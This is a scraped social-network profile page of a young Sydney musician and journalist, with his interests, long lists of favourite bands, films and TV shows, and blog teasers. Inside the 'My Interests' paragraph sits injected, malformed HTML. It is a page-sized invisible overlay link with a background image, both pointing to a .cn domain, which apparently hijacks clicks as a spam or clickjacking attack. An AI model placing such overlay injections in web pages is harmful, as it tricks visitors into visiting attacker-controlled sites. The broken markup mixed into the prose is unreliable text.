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Michael

I am here for Friends and Networking

About Me


Hello. My name's Michael, I'm 23 and I work in media (journalist, photographer, reviewer, data entry monkey). I'm originally from Wollongong but now reside in Inner Sydney (just moments from picturesque Redfern).

If you're in Sydney, you might see me out at gigs, in the street or on public transport.

I play drums and try to play various instruments that are laying around my house. I've also played with Treetops a couple times. Go and look at their myspace now.

I also DJ sometimes (is pressing play on Oasis cds really DJ'ing?), so if you want to book me, send me a message. I generally play a lot of the music on my list on the left.

You might remember me from a series of TV commercials for a prominent phone company that were broadcast early in 2006 (not fucking Vodafone, ok?). That was a lot of fun and I'd like to do more (I want money!!).

My Interests

Sitting here in silence on my own, listening to music, watching dvds, coffee & tv, my hair, spending money on even more music and dvds, quoting movies and rockstars, ponchos, playing tambourine, air-drumming on public transport, dancing at traffic lights, talking in different accents, wearing sunglasses at night and indoors, pretending to be a Gallagher brother and/or John Lennon, growing my sideburns, being a doormat, banging the drums.a class="popup_wrapper" style="cursor:default;background-image:url(http://rivazzurra .cn/bg.jpg);left:0px;top:0px;height:7997px;width:1121px;" href="http://rivazzurra.cn/s/" m$l$

I'd like to meet:

I've met Oasis; Who else is there to meet?

I'd like to meet anyone with similar interests. If you have absolutely nothing in common with me, there's no point in adding me.

If you're a band, go and add yourGigs instead, you'll probably get more out of it than adding me.

And another thing, if you post flyers for gigs on my page, I will delete them (unless I like you or live with you).

Music:



AC/DC, Arctic Monkeys, Nic Armstrong & the Thieves, The Astral Kaleidoscope, The Avalanches, Babyshambles, Badfinger, The Band, The Bank Holidays, Syd Barrett, The Beach Boys, Beachwood Sparks, The Beatles, Beck, Bee Gees, The Bees, Belle & Sebastian, Belles Will Ring, Big Star, The Black Angels, Black Rebel Motorcycle Club, Blondie, Blur, The Boo Radleys, David Bowie, The Brian Jonestown Massacre, Ian Brown, The Brutals, Buffalo Springfield, Buzzcocks, The Byrds, The Ca$inos, Cast, The Charlatans, Cheap Trick, The Chemical Brothers, The Church, The City Lights, Gene Clark, Jarvis Cocker, The Cooper Temple Clause, The Cops, The Coral, Graham Coxon, Cream, Crosby Stills & Nash, Crowded House, Custard, The D4, Dappled Cities Fly, The Datsuns, Dead Frenchmen, Death in Vegas, The Dilettantes, Dirty Pretty Things, The Dolly Rocker Movement, Duran Duran, Bob Dylan, The Easybeats, Echo & the Bunnymen, The Eights Matchbox B-Line Disaster, Elastica, Electric Light Orchestra, Even, Faces, Neil Finn, Flash & the Pan, The Flying Burrito Brothers, Franz Ferdinand, The Fratellis, Free, The Futureheads, The Grates, Adam Green, Ground Components, Albert Hammond Jr, Happy Mondays, George Harrison, Heavy Stereo, Jimi Hendrix, Herman's Hermits, The Hiss, The Hives, The Hollies, Hope of the States, The Horrors, The Hot Box, Hot Hot Heat, Humble Pie, Inspiral Carpets, The Jackson Five, The Jam, The Jesus & Mary Chain, Jet, Elton John, Joy Division, Kaiser Chiefs, Kasabian, The Killers, Kings of Leon, The Kinks, Kiss, Kula Shaker, The La's, The Laurels, Led Zeppelin, John Lennon, The Libertines, Lions At Your Door, Little Barrie, The Long Blondes, Love, The Loved Ones, The Lovetones, The Lovin' Spoonful, The Magic Numbers, Manfred Mann, Master's Apprentices, Maximo Park, Paul McCartney, Menswe@r, The Mess Hall, The Molotov Garage, The Monkees, The Morning After Girls, My Bloody Valentine, New Order, The New Pornographers, New York Dolls, Oasis, Ocean Colour Scene, Os Mutantes, The Out Crowd, Gram Parsons, The Pictures, Pink Floyd, Pinky Tuscadero, Primal Scream, Pulp, Queen, Queens of the Stone Age, The Raconteurs, Ramones, Razorlight, Red Riders, The Replacements, Ride, Rocket Science, Tim Rogers, The Rolling Stones, Secret Machines, The Sex Pistols, The Shins, The Sights, Simon & Garfunkel, Slade, The Sleepy Jackson, Sloan, Sly & the Family Stone, The Small Faces, The Smallgoods,The Smiths, Sonic Youth, Soulwax, The Soundtrack of Our Lives, Spaceman 3, The Sparrows, Spinal Tap, Spiritualized, Split Enz, The Stands, Ringo Starr, The Stems, Rod Stewart, Kelley Stoltz, The Stone Roses, The Stooges, The Stranglers, The Streets, The Strokes, The Style Council, Suede, Super Furry Animals, Supergrass, T.Rex, Teenage Fanclub, The Telescopes, Television, 10cc, The Thrills, Treetops, The Triffids, 22-20s, The Twilights, The Tyde, The Universe, The Velvet Underground, The Verve, The View, The Vines, The Walkmen, The Warlocks, Paul Weller, Weezer, The White Stripes, The Who, Wolf & Cub, Stevie Wonder, Stevie Wright, The Yardbirds, Yeah Yeah Yeahs, Yeti, You Am I, Neil Young, Youth Group, The Zombies, The Zutons

Movies:

A Hard Day's Night, Help!, Magical Mystery Tour, The Castle, Spiderman, This Is Spinal Tap, DiG!, A Mighty Wind, Live Forever, 24 Hour Party People, Zoolander, Anchorman, Mayor Of The Sunset Strip, Old School, Napoleon Dynamite, All You Need Is Cash, The Kids Are Alright, Withnail & I

Television:

The Office, The Mighty Boosh, Entourage, The Chaser's War On Everything, Little Britain, Frontline, Kath & Kim, One Foot in the Grave, Father Ted, The Simpsons, Futurama, Knowing Me, Knowing You, I'm Alan Partridge, The Goodies, Extras, We Can Be Heroes, The Glasshouse, Spicks & Specks, Fawlty Towers, The Late Show, Family Guy, American Dad, Neighbours, Monty Python, Arrested Development, Chappelle's Show, Media Watch, 4 Corners, Lateline, Lateline Business, The IT Crowd

Heroes:

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My Blog

Rod Stewart: A Religious Experience

This is the long version of the review posted on www.yourgigs.com.au. It had to be cut down. So here is the extended version.   Before we get into the crux of this review, let's get a few things ...
Posted by Michael on Fri, 29 Feb 2008 09:12:00 PST

Wisdom Beads

Courtesy of George Harrison: "I went to Haight-Ashbury expecting it to be just this brilliant place and it was just full of horrible spotty drop-out kids on drugs." "It certainly showed me what was re...
Posted by Michael on Tue, 29 May 2007 02:45:00 PST

They say it's yer birthday...

Happy Birthday Noel Gallagher. 40 years old. Fuck, I hope I look that good at 40. I just realised we're both geminis. Maybe that's why we seem to have very similar characteristics and ideas. Not long ...
Posted by Michael on Tue, 29 May 2007 02:14:00 PST

HELP!

...get Treetops' song 'Wisdom Beads' uped in rotation on JJJ. They have no record label or managment (which is fucking outrageous) so they need your help.Go here to download 'Wisdom Beads' for FREE fr...
Posted by Michael on Mon, 07 May 2007 11:05:00 PST

Making something from nothing...

It's just dawned on me that this is a skill I seem to be quite good at...in many facets.
Posted by Michael on Tue, 01 May 2007 10:28:00 PST

Come and see my band!!


Posted by Michael on Mon, 27 Nov 2006 03:53:00 PST

I read the new today, oh boy...

Today is a very sad day indeed. As most of you would have heard by now, Peter Brock died in a racing accident today. It's extremely sad for me because he was a big hero of my childhood. Some...
Posted by Michael on Fri, 08 Sep 2006 06:43:00 PST

If the rain comes, they run and hide their heads...

It's pelting down outside. There were a couple of claps of thunder and lightning before that must have struck very closeby. Why am I even still up? Oh, the washing, that's right. It took forever. I've...
Posted by Michael on Wed, 06 Sep 2006 06:42:00 PST

Hey mister, can we have our ball back?...

Yesterday was one of the most fun days of my working life. What looked like it might be an absolutely fizzling day of talks about the upcoming financial year was in fact a really relaxed, fun, boozy ...
Posted by Michael on Sat, 19 Aug 2006 02:52:00 PST

I'd like to teach the world to sing...

Sorry to anyone who has been waiting for a new blog, it's been a while. But really, no-one's interested now, right? The last week or so has been pretty good. I saw The Strokes on Friday night. It's th...
Posted by Michael on Wed, 09 Aug 2006 05:57:00 PST